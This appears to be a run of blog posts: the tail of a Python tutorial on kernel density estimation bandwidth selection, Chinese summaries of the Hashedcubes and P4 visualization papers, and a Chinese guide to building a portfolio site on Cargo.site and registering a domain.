        x (np.ndarray, optional): Grid. Defaults to None.

    Returns:
        np.ndarray: Kernel density estimation.
    """
    if x is None:
        x = np.linspace(np.min(data), np.max(data), 1000)
    if h is None:
        h = bw_silverman(data)
    if k is None:
        k = kernel('gaussian')
    n = len(data)
    kde = np.zeros_like(x)
    for j in range(len(x)):
        for i in range(n):
            kde[j] += k((x[j] - data[i]) / h)
        kde[j] /= n * h
    return kde

This kde function should looks easier than you think. With the above preparations, we now have four datasets, four kernel functions, and three bandwidth selection methods. Let's put them all together, record the MSEs and compare their KDE results with matplotlib.

data = [
    ('Normal', make_data_normal),
    ('Bimodal (Normal)', make_data_binormal),
    ('Bimodal (Exp)', make_data_exp),
    ('Bimodal (Uniform)', make_data_uniform)
]
kernels = [
    ('Gaussian', kernel('gaussian')),
    ('Epanechnikov', kernel('epanechnikov')),
    ('Cosine', kernel('cosine')),
    ('Linear', kernel('linear'))
]
bw_algorithms = [
    ('Scott', bw_scott),
    ('Silverman', bw_silverman),
    ('MLCV', bw_mlcv),
]
mses = []
def run_kde(ax, data, kernel):
    x, dist = data[1]()
    x_plot = np.linspace(np.min(x) * 1.05, np.max(x) * 1.05, 1000)
    ax.grid(True)
    ax.fill_between(x_plot, dist(x_plot), fc='silver', alpha=0.5)
    ax.plot(x, np.full_like(x, -0.02), '|k', markeredgewidth=1)
    ax.hist(x, density=True, alpha=0.2, bins=20, rwidth=0.9)
    for bw in bw_algorithms:
        if bw[0] == 'MLCV':
            h = bw[1](x, kernel[1])
        else:
            h = bw[1](x)
        x_kde = kde(x, kernel[1], h=h, x=x_plot)
        mse = np.mean((dist(x_plot) - x_kde) ** 2)
        mses.append({
            'data': data[0],
            'kernel': kernel[0],
            'bw_algorithm': bw[0],
            'h': round(h, 5),
            'mse': round(mse * 1000, 5), # To make differences more noticable
        })
        ax.plot(x_plot, x_kde, linewidth=1, label='$h_{\mathrm{' + bw[0] + '}} = ' + str(round(h, 5)) + '$')
    ax.legend(loc='best', fontsize='small')
    ax.set_title(f'{data[0]}, {kernel[0]}')
fig, axs = plt.subplots(len(data), len(kernels), figsize=(16, 12))
for i, d in enumerate(data):
    for j, k in enumerate(kernels):
        run_kde(axs[i, j], d, k)
    for bw in bw_algorithms:
        avg_h = np.mean([m['h'] for m in mses if m['data'] == d[0] and m['bw_algorithm'] == bw[0]])
        avg_mse = np.mean([m['mse'] for m in mses if m['data'] == d[0] and m['bw_algorithm'] == bw[0]])
        mses.append({
            'data': d[0],
            'kernel': '-',
            'bw_algorithm': bw[0],
            'h': round(avg_h, 5),
            'mse': round(avg_mse, 5),
        })
fig.tight_layout()
fig.show()
fig.savefig('eval.pdf')
pd.DataFrame(mses).to_csv('eval.csv', index=False)

Here we can compare the KDE results of different methods with the real distribution and the histogram. If you followed these steps, you should also be able to see the Mean Square Error (MSE) of each method, kernel and dataset combination in the eval.csv file. The code is also available at https://github.com/jtchen2k/KDEBandwidth.

To Sum Up

The results show that Silverman's method is a simple and effective option in most cases. While the maximum likelihood cross-validation (MLCV) method is more mathematically sound, it is much more computationally expensive. Silverman's method is also the default algorithm for selecting the bandwidth in many open-source libraries. The choice of bandwidth selection method has been a topic of intense debate among statisticians during the 1960s and 1970s. If you are interested, you can refer to Scott's textbook on density estimation ⁴. Recent research may have focused more on multivariate density estimation and the combination of cross-validation and plug-in methods.

Hashedcubes 是 Cicero A. L. Pahins 等作者发表在 TVCG 2017 年上的工作，旨在提出一个可以对大数据进行实时可视探索的数据结构。该数据结构可以满足低内存占用、低查询延迟、简单易实现等要求。经实验，在部分情况下，Hashedcubes 可以在空间占用上比最新的方式减少两个数量级的占用。本文描述了 Hashedcubes 的数据结构与构建方式，以及其在注入聚类散点图、直方图、热力图等可视化图表中的应用方式。也用真实世界中的若干数据集进行了评测，从内存占用、构建时间、查询延迟等维度来进行评价。

动机

高维大规模数据的实时可视化系统开发中时常需要解决数据查询的高延迟问题。对数据简单的线性扫描往往会使得延迟不可接受，而近年来提出的种种复杂数据结构虽然能带来高效的查询效率，却由于复杂的实现和 GPU 的支持而难以和现有的系统有机整合。于是本文提出思考：是否存在一个相对简单的数据结构，既能够提供和复杂数据结构想当的性能表现，又能够保持较低的内存占用与实现的简洁性？

主要工作

于是本文主要做的工作包括：

• 提出了 Hashedcubes，一个用于对高维大规模数据的实时可视化探索的简洁数据结构
• 一个对 Hashedcubes 的实验性的、验证性的系统实现，用于评测内存占用与查询、构建时间
• 一系列关于使用 Hashedcubes 的 trade-off 讨论

与本文相关的工作包括大规模数据的可视化分析、时空数据分析与相关系统实现的若干挑战等。

Hashedcubes 的构建

直观认知

文章讲述了设计 Hashedcubes 背后的动机与逻辑。可视化图表中常见的图表绘制问题背后的数据来源往往是「计数」（如某一天、某一区域发生的事件次数作为视觉编码中的一个符号）。此外，数组的长度不受其内元素顺序的影响。因此，对于数组 $A$ 中一个连续区域的元素集 $S$，我们可以使用一对索引 $(b,e)$ 来表示，称为 pivot。通过将 $S$ 划分为互不重合的区域，我们可以通过若干 pivot 来表示整个数组。这样的一种表示方式允许用户在查询时快速跳跃数据，也充分保留了划分的自由性。而每一个划分又可以作为一个新的数组，允许后续在此划分上做进一步划分。

直观上，这种层级的划分机制便是 Hashedcubes 的基础。例如，对于一个具有星期数 $d$，小时数 $h$，网络端口 $p$ 三个维度的网络日志数据集，我们可以依次对每个维度进行划分并得到一系列的 pivot 数组，即三个，分别对应于 $d$ 维度、$(d,h)$ 维度、$(d,h,p)$ 维度。有了这些 pivot 数组之后，计数统计也就可以快速完成，而无需依次扫描数组了。在次基础之上，再给每个 pivot 记录他们所下属的更细维度的范围（如 $d$ 维度的 pivot 同时也会记录这个 pivot 所下属的 $(d,h)$ 维度的范围），便可以在不同层级的 pivot 数组间建立联系 —— 这些机制是对 Hashcudes 的直观认知。

构建流程

Hashedcubes 的构建需要按照一定的维度顺序。其支持的维度类型包括：空间（spatial）、类别数据（categorical）、时序（temporal）。Pivot 层级的构建技术上支持任意顺序，但在实际中往往采样采用空间 -> 类别 -> 时序的顺序。多层的 pivot 数组本质上表达了树状的层级结构，每个节点包含的索引起止信息允许聚合操作能够从中快速获取大小信息。

下图为 Hashedcubes 针对一个简单包含 10 个点的时空数据的构建流程示例。其维度为：[[Latitude, Longitude], [Divice], [Time]]。分别每个维度进行聚合、排序，可以得到如右上侧的排序结果；针对每一维度生成的 pivot 数组也如图所示。Hashedcubes 最终保留的结果便为排序后的数组与一系列的 pivot 数组。

和 Nanocubes 相比，Hashcubes 的没有提前计算所有的查询操作，将部分操作保留在运行时计算，从而节省了时间开销。

空间维度

空间维度的高效查询通常涉及到分层的空间数据结构，如四叉树。Hashedcubes 将四叉树中的四分之一作为一个 pivot，将该区域内的数据点排序聚合在一起，使得连续的数据点都包含在同一个分区内。

针对具有多个空间维度的情况，使用四叉树的不同层来交错划分空间区域，每个空间维度都拥有一个独立的四叉树，如下图中红蓝两色所示：

Hashedcubes 的构建需要控制最小叶节点的大小。每个维度的输出都是下一个维度的输入，用于进一步细分子维度的区域，所以需要控制最小叶节点的大小，太小则会导致子集过多，而太大又会影响可视化结构的精确性。这一大小同时也会导致性能表现和内存占用的大幅变动。

类别维度

对于不同的粒度，会产生不同大小的 pivot 数组。Hashedcubes 通过存储一个 CategoricalNode 的数据结构来基于独特属性的个数来产生稠密向量。如上图中的例子，系统会为大小为 4 的输入创建 4 个 CategoricalNode，每个 node 里会包含一个含有两个 pivot 的向量。对于含有多个类别维度的数据，Hashedcubes 会依次处理（而不是类似空间维度中交错处理的四叉树）。

时序维度

采用类似于类别维度的处理方式，以一段时间作为一个 pivot 的边界。如下图所示。使用两次二分查找来寻找到起止时间所在的 pivot 并对边界累加即可快速的到查询结果。

查询流程

Hashedcubes 的查询由一系列子句（clause）组成。每个子句包括一个维度，并定义是否有范围限制（constraints）或分组查询（group by）。查询的结果则包括一个经过聚合的 pivot 组成。最初的查询范围包括了整个数据集，即整个数组，每一维度的限制或分组所查询到的部分 pivot 用于下一步的搜索，类似于使用了两个列表的 BFS：一个用于拓展范围，一个用于临时存储。

由于查询都是在基于数组的数据结构上进行的，所以相对于于基于树的数据结构，可以更充分地利用 CPU cache 保证查询的高效性。

实现

服务端采用 C++ 编写，数据来源为 csv 格式的结构数据。客户端基于 Web 构建，采用 OpenStreetMap 作为地图提供商。客户端与服务端之前通过 HTTP API 沟通。

数据集与评测

本文涉及的数据集包括：

• 基于位置的社交网络：Brightkite 与 Gowalla
• 航线准时性数据：过去 20 年的美国航线准时性数据，采用了 3 种不同的 schema，其中包括一种和 Nanocubes 相同的 Schema，一种和 imMens 相同的 Schema
• SPLOM：一个合成的测试数据集，具备不同的 bin size，用于在 ScatterPlot Matrix Benchmark 中测试 data cube 的性能
• Twitter：从 Twitter API 收集的一整年的推特数据，包括地理位置、设备和发帖时间、用户语言等维度
• 出租车数据：纽约不同公司出租车的接客点、下客点、时间等，包含两个 Schema 等维度

为上述各个数据集构建 Hashedcubes 所需要的内存、时间与最终生成的 pivot 数量如下表所示：

内存占用

Hashedcubes 相比 Nanocubes 大幅减少了内存占用，至多 降低了 5.2 倍。Nanocubes 使用 46.4 GB 内存的数据集在 Hashedcubes 中只需要 9.4 GB，远低于当下常见服务器的内存配置。

在实验数据集 SPLOM 上，Hashedcubes 的内存占用同样表现良好。其中，对于出租车数据集，Nanocubes 需要占用多达 321 GB 内存（估计），故无法完成任务。

构建时间

构建时间的主要瓶颈为排序过程的用时，尤其是在处理空间维度上的信息时（往往涉及到大量的排序操作）。经实验，和 Nanocubes 相比， Hashedcubes 的构建时间要快至多 30 倍，平均 10 倍。

查询延迟

实验所用到的查询取自 Nanocubes 的官网，包括一系列的刷选、连接操作等。下图为查询所耗费的时间实验结果，可以看到大多数查询的时间消耗都在 40ms 内，允许高于 25fps 的实时交互。服务端与客户端的沟通虽然也会消耗一定时间，但这部分时间主要由地图瓦片传输的时间决定，相对之下 Hashedcubes 所提供的信息传输时间可以忽略不计。

尽管在某些情况下 Hashedcubes 的查询时间略微慢于最佳效果（Nanocubes 的最差查询时间为 12 ms、imMens 平均查询时间为 20ms），但典型查询时间已经足够用于实时可视化互动系统的开发与实现。即便是在有上千万个元素的数据集的情况下，也只有约 2% 的查询时间超过了 40ms。

讨论

Pivot 构建的顺序

Hashedcubes 背后的核心方法为 Pivot Hierarchy。不同维度理论上可以按照任意顺序构建 pivot 数组，但经实际测试不同的顺序由于背后的排序开销不同，导致的构建时间和内存占用也会有许多不同（如对 Brightkite 使用空间 -> 时序 -> 类别的构建顺序，其最大查询时间从 94ms 增加到了 281ms，内存占用增加了 25% ）。

与数据库的整合

无论是 Hashedcubes 还是之前提出的 imMens、Nanocubes 都可以看做是近似数据库（approximate databases）。但 Hashedcubes 背后的简介概念使其和完整数据库记录的整合变得更加直观。通过将 Hashedcubes 内部的 pivot 和数据库的索引相关联，用户便可以直接从可视化结果中检索到原始数据，也可以让用户在视觉上的查询触发对应的 SQL 查询来同步检索完整数据。一个例子如下图所示：

叶节点大小与视觉准确性的 Trade-off

在 Hashedcubes 中，每一个维度的划分输出将作为下一个维度的划分输入。尤其是对于空间数据，最小的叶节点的大小即指定了单个空间最小划分区域的大小阈值。于是当一个空间区域内的数据个数达到阈值后，将不会再继续被划分。这些区域被称为 truncated pivot。这有利于高效查询、避免后续维度的划分过小，但在视觉上可能会引起异常（尤其是在数据集稀疏的地方）。

从该图中可以得到直观的对比。a 中，truncated pivot 用矩形来表示，b、c 中用圆形来表示聚合中心，可以看到不同 leaf-size 对最终渲染效果的影响：

未来工作

本文的未来工作主要在以下方面：

• 对维度计算顺序与各项参数的自动计算与优化。探索一个评价标准，使得系统在构建索引前自适应调整维度顺序、叶节点大小等参数；或创建更多的 Hashedcubes 实例来优化构建过程、最小化查询时间和内存占用。
• 动态数据或流数据的处理能力的探索。
• 对紧凑内存数组（Packed Memory Array or PMA）的进一步深入探索。对这一现有数列结构的良好利用这可能可以进一步优化效率。

[1] C. A. L. Pahins, S. A. Stephens, C. Scheidegger, and J. L. D. Comba, “Hashedcubes: Simple, Low Memory, Real-Time Visual Exploration of Big Data,” IEEE Trans. Visual. Comput. Graphics, vol. 23, no. 1, pp. 671–680, Jan. 2017, doi: 10.1109/TVCG.2016.2598624.

[2] L. Lins, J. T. Klosowski, and C. Scheidegger, “Nanocubes for Real-Time Exploration of Spatiotemporal Datasets,” IEEE Transactions on Visualization and Computer Graphics, vol. 19, no. 12, pp. 2456–2465, Dec. 2013, doi: 10.1109/TVCG.2013.179.

[3] Z. Liu, B. Jiang, and J. Heer, “imMens : Real-time Visual Querying of Big Data,” Computer Graphics Forum, vol. 32, no. 3pt4, pp. 421–430, Jun. 2013, doi: 10.1111/cgf.12129.

[4] C. A. de L. Pahins, cicerolp/hashedcubes. 2022. Accessed: Jun. 14, 2022. [Online]. Available: https://github.com/cicerolp/hashedcubes

P4， 即 Portable Parallel Processing Pipelines，是由 Jianping Kelven Li、Kwan-Liu Ma 发表在 TVCG 2020 的工作。其提出了一个结合了声明式设计标准和 GPU 计算的、用于构建高性能可视化系统的信息可视化框架，利用 GPU 计算来加速数据处理过程和交互可视化应用中的可视化渲染流程。其提供的 API 可以用于数据转换、视觉编码、交互的快速开发。P4 通过在保持对设计标准的高度灵活性和可自定义性的前提下，简化了经 GPU 加速的可视化系统的开发流程。同时，相对于其他工具链，P4 在创建可交互的可视化方面提供了极大的效率提升。

动机

具备交互的可视化系统，尤其是在处理大规模数据时，需要在数据处理和可视化渲染两个任务上具备高效性。而主流的计算设备大多可以通过 GPU 为这两个任务提供性能提升。因此本文尝试探索 GPU 计算在这两个任务上的潜力，以为开发人员提供一个新的、高性能的可视化开发工具。

P4 主要针对 4 个目标进行设计：

• Performance：旨在合理分配利用 GPU 资源来储存、处理数据，以获得无缝的高性能
• Productivity：旨在提供一个良好架构的、声明式的 API
• Programmability：旨在提供高度的可定制性和灵活性，让用户可以自定义数据操作与视觉编码的复杂逻辑
• Portablity：P4 作为利用 WebGL 的 Web 开发框架，可在不同的现代浏览器中按预期工作

相关工作

可视化工具链

许多可视化工具与库均提供声明式的语法来设计可视化应用，包括 ggplot2、Protovis、D3、Vega、Vega-Lite 等。声明式的语法可以将可视化、互动的具体设计从其背后的执行细节解耦出来，让开发者更聚焦在和应用相关的设计决策上。但现有工具极少利用到 GPU，难以保证大数据的实时互动性。

在与 GPU 相关的技术与可视化工具的结合发面，包括 OpenGL、WebGL 等图形 API，General Purpose GPU 的若干 API OpenCL、CUDA等，以及可视化社区一些使用 shader 来绘制可视化结果的尝试。不过目前的工作大多聚焦在使用 GPU 来渲染可视化结果，而没有利用到其并行的特性来处理数据。

高性能可视化方法

为了应对大数据的可视化需求，目前已有若干方法来改善系统性能。包括使用过滤、数据降采样、数据方块的数据规约方法等。部分诸如 Tableau、Spotfire 等商业产品也使用分布式系统与运计算来预先处理大数据。这些方法需要对数据的先验知识，也会有额外的网络开销。

另一种方式为隐藏延迟来提升交互系统的体验，例如多线程的并行处理、数据的内存缓存、增量可视化等方式。也有若干工作利用到 GPU 渲染来提升性能，包括使用 GPU shader 渲染航班轨迹、预先将多维数据计算成 GPU 纹理的处理方式、使用 GPU 操作来实现常用的数据库操作符等工作。

设计与 API

概览

System Model：架构上，P4 的系统模型主要由 4 个部分组成：

• 一个用于将 JSON 文档转换成 JS 函数调用的翻译器
• 一个用于调用 JS 函数的 API
• 一个用于在运行时将用户指定的参数转换成 GPU 程序的生成器
• 一个用于管理输入与输出的控制器

Data Model：数据模型上，P4 使用以列为主要顺序（Column Major Order，即同一维度的数据在内存中相邻）的统一数据模型来编码在 GPU 内存中的多维数据。该数据模型同时支持 numerical 和 categorical 两种数据类型，以单精度浮点数作为数据格式。GPU 内存同时存储了元数据。

Execution Model：运行模型上，P4 指定包含数据模式和一系列用于数据转换（Data Transformation）和可视化的操作符的 pipeline 为核心流程。运行时，这些操作符被转换成 GPU 程序。在一个 pipeline 内，所有数据和程序均在 GPU 上完成，没有 CPU 和 GPU 之间的传输消耗。

API

P4 的声明式语法使用类似 JSONiq 和 NoSQL 数据库的设计。数据转换相关的运算符有：

• Derive：从已有值生成新的值供后续运算
• Match：筛选数据，使得满足条件的数据保留下来
• Aggregate：使用指定的聚合函数来分组数据

这些运算符可以以任意顺序组合。和可视化映射相关的属性有：color, opacity, width, height, x, y，支持 circle, line, rectangle 三种标记符号。其中 x 和 y 均可以指定为数组，渲染结果会是一个平行坐标图。

交互方面，P4 设计了高层的交互式语法。一个交互包含 event 和 response，其中 event 可以为 click, hover, brush, zoom, pan，response 则指定了 pipeline 中的每个可视化图表是如何根据 event 来重绘视图的。当 event 触发时，与其关联的数据值、参数等信息会被选中，用于在 response 中指定选中部分和未选中部分分别是如何表现的。

具体地，一个包含数据转换和可视化操作的例子如下：

在此基础上，P4 提供了控制流相关的运算符，包括：

• register，用于在 GPU 中保存 pipeline 的状态、缓存中间结果
• resume，用于将新的数据输入和设置输入到先前缓存的中间结果中
• reset，重置当前的状态来使用原始的数据来计算新的可视化结果
• export，以 JS 数组或 JSON 格式导出数据结果

一个包含交互和控制流的的例子如下：

为了避免大量数据渲染结果下的视觉混乱杂乱，P4 参考 Z. Liu 的感知增强算法，将数据值映射到透明度和颜色。具体地，在 GPU 中并行计算所有像素归一化的数据密度，然后基于下列计算方式更改像素的颜色与透明度：

其中 $\rho_{\max}$ 为视图中视觉符号重叠的最大数量，$\rho$ 为当前像素的视觉符号数量。经实验，$\gamma$ 默认为 $1/3$，$\alpha_{\min}$ 为 $0.1$ 时，可取得最佳观感。

实现

并行原语 Data-Parallel Primitives

在 P4 的实现中，为了使得数据转换和可视化过程可以并行，工程上采用了基于函数编程的原语（包括 map、 filter、reduce）。具体地，包括以下原语：

• Fetch：计算数据在 GPU 中的内存地址，并返回数据用于后续计算
• Map：将现有数据根据用户指定的逻辑映射到新的数据，常用于计算中间值
• Filter：根据具体条件来选择一部分数据的子集。不满足条件的数据将不会被 Fetch，以避免取得后又丢弃数据所造成的带宽浪费
• Reduce：使用例如 count、sum、avegrage 等统计方法并行地将一系列数据规约到单个值的输出

在实际情况中，所有的 GPU 程序均是在运行时基于上述并行原语来生成的。P4 先根据 pipeline 的工作流程和执行模式来生成若干原语。(todo)

高层次的运算符，如下所示，可以通过结合这四个并行原语来得到。

• Derive：通过 Fetch 获取已有数据，再使用 Map 来映射出新的值，最后的 Reduce 用于计算新的数据的元数据（包括最小值、最大值等）
• Match：通过 Fetch 获取已有数据，再使用 Filter 筛选数据
• Aggregate：通过 Fetch 获取单组或多组数据，对每组数据根据不同的聚合操作执行 Map，最后通过 Reduce 来获取元数据
• Visualization：该运算将数据映射到视觉编码中。使用 Fetch 获取数据，使用 Map 来映射出这些数据对应的位置、颜色等其他视觉元素所需要的信息。Reduce 执行出来的最大密度与最小密度将用于视觉感知增强，而最后的 Map 用于计算每个像素具体的输出值。
• Interact：如前文所述，Interact 使用 event-response 对来根据用户选择来改变视觉编码。在原语的使用上，其在 Visualization 的基础上，增加一个额外的 Map 和 Filter。Map 用于获取用户交互在数据维度上的选择范围，Filter 用于基于这些范围来改变对应视觉元素的视觉编码。

数据管理实现

P4 利用基于 WebGL 1.0 的 API，使用统一的数据模型来管理数据。所有的多维数据均按照数据项的顺序，以列数组的形式存储在二维纹理中。纹理使用单精度浮点数，最大宽度和高度为 8192。对于大小大于 $8192^2$ 的数据，P4 将会将其分割为多个纹理。各个数据项的元数据以 WebGL Uniform Buffer 存储，数据转换操作的结果将会被写入离屏帧缓冲区，供后续操作使用。P4 管理了输入和输出纹理的指针地址，以保证数据流向的正确性。

可视渲染实现

渲染上，P4 使用 WebGL 在 Canvas 上绘制视觉元素，用 SVG 元素渲染简单的坐标信息。系统内存中保存有元数据的副本，供 SVG 渲染使用。对于数据为整型的类别数据，GPU 与系统内存中的元数据也存有所有各个类别属性的引用。

另外，出于 WebGL 对跨 Canvas 数据共享的限制，为了共享数据源，多个视图将被渲染在同一个 Canvas 中的不同区域。对开发者而言，另一种方式是使用多个 P4 pipeline 来分别渲染。

GPU Shader

P4 利用 WebGL 的着色器来实现自己的四个并行原语。具体地：

• Fetch：利用 WebGL 处理纹理的高效机制来直接方位纹理
• Map：利用顶点着色器来计算中间结果，再利用片段着色器来将映射结果输出到对应位置
• Filter：使用顶点着色器来检查某数据是否符合过滤条件，满足条件的数据由片段着色器输出
• Reduce：利用 Blending 对 framebuffer 中的数据进行 count、sum、max、min 等聚合操作，使用两次 pass 可以获得 average 和 variance

例如，聚合操作（包括 Fetch, Map, Reduce）的 GPU 代码生成过程如下：

由 P4 生成的 GPU 程序和 pipeline 的流程相对应，这些 GPU 程序在 WebGL 管线内的运行如 e 所示。顶点着色器使用 Map 来获取归一化的数据值、计算视觉元素的位置，片段着色器来输出颜色、透明度、形状等其他视觉编码，最终根据不同的视觉元素调用对应的 WebGL 绘制调用（e3）。

并行原语也可以用于运行时的代码生成。例如对于一个类型数据的 Derive 的运行时代码生成如下图所示，用户指令中的逻辑被以并行数据原语的形式嵌入到了顶点着色器程序中。

评测

以下测试使用 Chrome 浏览器，数据范围从 16K 到 16M 不等，在 32G i7-4790 机器上重复运行 10 次。为了消除 CPU 到 GPU 之间的数据传输时间以评测真实的 GPU 程序运行效率，在每次渲染完成后都随机读取了一个像素的值，来确定渲染结果已经完成写入。不同库的数据转换性能对比：

不同等级 GPU 下三种数据转换运算性能对比：

不同库的平均初始化时间及首帧渲染时间对比：

不同等级 GPU 下不同类型图的首帧渲染时间对比：

案例

超算网络

超算网络集群中，节点间网络的连接性对性能有较大的决定作用。如图为利用 P4 开发系统，用于探索超级计算机的行为来优化性能。系统结合了 P4 和 D3，使用 P4 来显示全局连接、本地连接、终端连接和终端等连接的延迟信息，使用 D3 来对 P4 转换出来的数据绘制相对小规模的可视化视图。从 GPU 到 CPU 传输大数据导致的开销较大，并在结合其他工具开发可视化时，设计者和开发者应当考虑到这一点以提升实时互动性。

PDES (Parallel Discrete-event Simulations)

PDES 即并行离散事件仿真，让研究人员可以建模、学习复杂的物理现象。与 PDES 研究者合作，P4 团队改进了一个用于评估和改进大规模 PDES 系统的高效性与可伸缩性的可视分析系统的互动性。系统中，先前的数据处理大多基于 CPU 计算，产生了较大延迟。现在，通过将数据处理和可视渲染及交互处理均移动到 GPU 计算，大大改进了系统的性能，提升了时序上的分辨率。

P4 Player

一个简单的 Web 应用，对接 HTML5 的 API，允许用户自由的上传硬盘中的 JSON 数据，并实时编写、运行、测试 P4 程序，探索数据集内容和 P4 的可视化结果。

讨论

性能与可表达性

低层次的可视化语法（细粒度的控制）和高层次的可视化语法（简介的表达方式）之间存在 expressiveness 与 performance 的 trade off。相比于 P4，D3 继承了 DOM 节点的可表达性，而 Vega 与 Vega-Lite 通过利用 JavaScript 的灵活性为数据转换和可视化提供了更多可能性。但在性能上，这样的做法和 JS 单线程的特性也限制了他们的表现。P4 希望能够达到和 Vega 相同的可表达性，并严格分离数据转换、可视映射和交互设计的几个模块，来确保各个运算符都是可以并行加速的。P4 既通过声明式语法继承了 DOM 节点和 JS 的可表达性，也充分利用 GPU 计算来并行、多线程地处理工作，从而提高了性能。

优化与拓展

目前，P4 的开发基于 WebGL 1.0 API，这使其具备良好的兼容性。但 WebGL 2.0 即将发布（论文发表时），提供了更多针对现代 GPU 相关的优化，具备进一步优化 P4 性能的可能性。当前由于 Blending 操作的限制，Reduce 只支持 min、max、avg 等少量聚合操作，而在未来，计算着色器（Compute Shaders）或可编程 Blending 的引入可能会使得 P4 突破这个限制。

未来，P4 也具备应用到标准桌面环境中的可能性，而不仅局限于 Web 运行时，使用相同的架构即可。数据并行原语的思想，也基于了 P4 充分的可拓展性，新的操作符可以通过组合现有并行原语或引入新的原语来得到。

后续工作

• P4 高度依赖 GPU 的性能和内存，数据大小超过 GPU 内存时，未来可能会引入渐进式的可视分析方法（事实上在后续发表的 P5 中，P4 团队也完成了这一工作），通过数据分块、预处理等方式实现
• P4 作为高层次的语法，表达性仍有进一步提升的空间，以支持数据转换和可视化过程中更高的自定义性
• P4 目前的可视化基于笛卡尔坐标系和少量几种视觉符号，未来可以探索更多潜在的可视化样式（如树图等）

[1] J. K. Li and K.-L. Ma, “P4: Portable Parallel Processing Pipelines for Interactive Information Visualization,” IEEE Transactions on Visualization and Computer Graphics, vol. 26, no. 3, pp. 1548–1561, Mar. 2020, doi: 10.1109/TVCG.2018.2871139.

[2] Z. Liu, B. Jiang, and J. Heer, “immens: Real-time visual querying of big data,” Comput. Graph. Forum, vol. 32, no. 3pt4, pp. 421–430, 2013.

[3]“The Book of Shaders.” https://thebookofshaders.com/ (accessed Apr. 26, 2022).

[4]“jpkli/p4: P4: Portable Parallel Processing Pipeline,” GitHub. https://github.com/jpkli/p4 (accessed Apr. 26, 2022).

网站相关

Cargo.site

Cargo.site 的定位是专为设计师提供的无代码建站平台。在 Templates 中找到一个模板之后注册账号即可以这个模板为起点建站。

比如以这个模板为起点，选择 Start with this Template 之后创建网站进入编辑状态。如果目标是作品集的网站的话，可以先预览观察一下网站结构是不是符合预期。不过这个模板在后续也是可以随时更改的，在 Design 设置板块底部的 Change / Restore Template 部分更改就行。

Site Settings 部分指定了网站的一些基本配置，其中 Favicon 是网站在浏览器中预览显示出来的那个图标。这里默认的闪电是 Crago 的 Logo，如果你有自己的网站 Logo 的话可以在这里换上。

站点设计

在设置部分的 Design 板块可以看到网站的设计管理页面，Cargo 提供了详细的网站布局配置，如文字排版、色彩组合、编排配置等，可以组合各种参数看看哪个最顺眼。

Cargo 的建站思想是把网站的内容拆分成一个一个的 Page，每一个 Page 既可以作为某个页面上的一个成分存在，也可以作为一个单独的页面，作为链接跳转的目标。像 Header, Footer 这样逻辑上会固定在网站上的内容，可以通过 Pin 选项来进行配置。例如，在 Content 板块可以看到目前网站有哪些元素：

每一个 Page 右侧的原点表示了这个 Page 的展示情况与固定情况：

• 灰色状态，不在主页面展示，作为一个独立的 Page
• Pin 状态，固定在所有页面展示。在 Pin Settings 中可以进一步指定 Pin 的方式，是固定在页面顶部还是底部，是否在移动设备上显示，etc.
• 绿色状态，表示在主页上要展示的模块。

例如，上面这个截图所生成的网站内容表示在主页上有一个固定的 Header 和下箭头，此外还有 1 和 2 两个 Page 用来展示作品，Information 用来展示联系信息。下方的 This is a work 是我新建的 Page，不会展示在主页中，但可以通过后续设置文字链接跳转或图片链接跳转来查看到这个 Page 里详细的内容信息。关于新建一个作品的流程我会在下一部分进一步描述一下。

网站整体的排版、布局、字体、色彩组合在 Design 板块中可以设置。这里面的选项和常见的图文排版引擎没有什么大的不同，用起来应该很轻松。

在 Design 板块下的 Site Menu 处可以选择是否为网站启用一个全局的导航菜单，根据不同模板的样式，可能会有不同的展示方案。在这里也可以选择这个哪些页面 （也就是 Page）会展示在菜单中。

对于 Images 里的选项，Secondary Zoom 指的是是否允许用户点开某张图片放大后进一步放大。Animate on Scroll 指的是是否为图片开启一个「滚动到这个图片时渐变并上滑」的入场动画。

Quick View 里的选项配置了点击图片后放大展示的 fancybox 的样式。

CSS 模块可以用代码自行微调不同 Page 的 CSS 类。

点击进入了某个 Page 的编辑状态后，可以在下方详细地调整 Page 里的样式，添加元素。

包括插入链接，调整分栏，调整图片的布局等。也可以插入音乐，用钢笔工具画矢量图。左下角的按钮配置分栏，比较常用。CODE VIEW 可以直接进入 html 代码的编辑状态，控制网页的任意内容。如果有比简单地静态展示内容更复杂的需求，可以在这里插入。（如果你遇到了静态展示不够的场景的话我可以看看能不能帮你做出来）。

作品管理

按照一个作品集网站的经典布局，大概的跳转逻辑可能是这样：

其中每一个方块都是 Cargo 中的一个 Page、如果需要新建一个作品的详细设置页面，可以在 Content 部分左下角的加号处新建一个 page，例如这里的 This is a work。（新建 Set 可以建立一个文件夹，只是更方便地收纳你的作品集，对网站本身的内容没有影响）

点击 Page 进入 Page 的编辑页面，通过分栏和图片的组合，可以快速构建出来一个作品的详细页面，最终这些元素会成为一个 Page。Backdrop 设置可以给这个 Page 加上背景，支持 Overlay。

用同样的思路，也可以建立一个 About 的 Page，在 Content 那个地方不要固定，就 OK 了。

为了能让用户访问到这个作品的详情 Page，你可以回到主页，选择一个会在主页中展示的 Page，在右侧的编辑器中选择这个🔗按钮，选择 Internal Link，再选择这个 This is a work 的 Page，之后用户点击这个图片就会跳转到这个作品的详情界面。使用 External Link 也可以直接跳转到其他链接，比如你的 twitter 微博邮箱等。

另一个能让用户访问到这个页面的方法是在 Design 部分的 Menu Setting 把这个页面加到网站的全局菜单中。你可以加一个 About 的 Page 来这样做。

一个小 trick 是如果你想要给邮箱加上链接，可以在 External Link 里输入 mailto:yourmailaddress@example.com ，用户点击链接之后就会直接打开邮箱 APP，收件人是你的邮件。

通过不同 Page 的组合和固定就可以建出一个应该还不错的 Portfolio 啦。

费用

Cargo.site 不是一个免费的站点，默认的免费状态是 Private 的网站，不付费的话进入网站只能看到

年费价格 $99，月费价格 $13，付款方式支持信用卡、PayPal。在站点的设置页面选择 Upgrade to go Public 即可看见付款选项。

域名购买与绑定

域名涉及到的平台包括 Dynadot（购买域名），Cloudflare（如果你想要使用 https 的网站的话，不过没有应该问题也不大）。这一部分你可以在 https://www.dynadot.com/ 查找一下你要购买的域名，如果没有被购买的话就可以绑定到你的作品集网站上。

比如上面这个域名，购买之后注册账号再填写一下你的身份信息，这个账号就会被注册到你的名字下，稍等几个小时就可以通过 whois 查询到域名的注册信息了。

